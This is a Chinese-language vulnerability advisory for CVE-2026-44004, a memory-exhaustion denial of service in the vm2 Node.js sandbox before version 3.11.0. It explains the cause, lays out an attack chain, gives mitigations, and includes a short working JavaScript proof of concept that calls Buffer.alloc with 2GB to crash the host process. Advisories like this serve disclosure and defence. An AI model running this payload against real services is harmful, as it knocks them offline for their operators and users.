IPBUF安全漏洞报告
English
CVE-2026-44004 CVSS 7.5 高危

CVE-2026-44004 vm2沙箱内存耗尽拒绝服务漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44004
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
vm2

相关标签

CVE-2026-44004vm2Node.js拒绝服务DoS沙箱逃逸资源耗尽

漏洞概述

vm2是一个用于Node.js的开源虚拟机沙箱。在3.11.0版本之前,沙箱内的代码可以调用Buffer.alloc()并传入任意大小参数,直接在主机堆上分配内存。由于Buffer.alloc是同步的C++原生调用,vm2的超时机制无法中断其执行。攻击者可通过单个请求耗尽主机内存,导致进程崩溃报错“FATAL ERROR: Reached heap limit”。该漏洞已在3.11.0版本中修复。

技术细节

该漏洞的根源在于vm2沙箱未能有效拦截或限制Node.js中的特定原生内存分配操作。在Node.js中,Buffer.alloc()是一个底层的同步C++函数,用于在V8引擎堆外或堆内直接分配内存。当攻击者在沙箱代码中调用Buffer.alloc(Number.MAX_SAFE_INTEGER)等超大数值时,执行流进入C++层。此时,vm2基于JavaScript的事件循环超时机制失效,无法中断同步的C++执行。这导致进程被迫尝试分配超出物理限制的内存,最终触发V8的FATAL ERROR,造成服务拒绝。此漏洞绕过了沙箱的资源保护限制。

攻击链分析

STEP 1
侦察
攻击者识别目标应用使用了vm2库来执行不受信任的代码。
STEP 2
构造载荷
攻击者编写包含Buffer.alloc()调用的恶意JavaScript代码,并指定极大的内存分配参数。
STEP 3
执行攻击
将恶意代码发送至目标服务器,由vm2沙箱进行解析和执行。
STEP 4
资源耗尽
由于Buffer.alloc是不可中断的同步调用,服务器内存瞬间被耗尽,Node.js进程崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const {VM} = require('vm2'); console.log('Starting PoC for CVE-2026-44004...'); const vm = new VM({ timeout: 1000, // Set a 1 second timeout sandbox: {} }); // Malicious code to exhaust memory // Buffer.alloc with a huge size cannot be interrupted by the VM timeout const maliciousCode = ` console.log('Allocating memory...'); // Attempt to allocate a very large amount of memory (e.g., 2GB) // This causes the host to run out of memory and crash Buffer.alloc(1024 * 1024 * 1024 * 2); console.log('Allocation complete'); `; try { vm.run(maliciousCode); } catch (e) { console.error('VM Error (expected if not crashing):', e); }

影响范围

vm2 < 3.11.0

防御指南

临时缓解措施
如果无法立即升级,建议在容器化环境中对Node.js进程施加严格的内存限制,防止物理内存耗尽影响宿主机。同时,避免在生产环境中直接对不可信输入使用vm2执行代码,考虑使用更安全的隔离方案如worker_threads或独立的系统级虚拟化技术。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表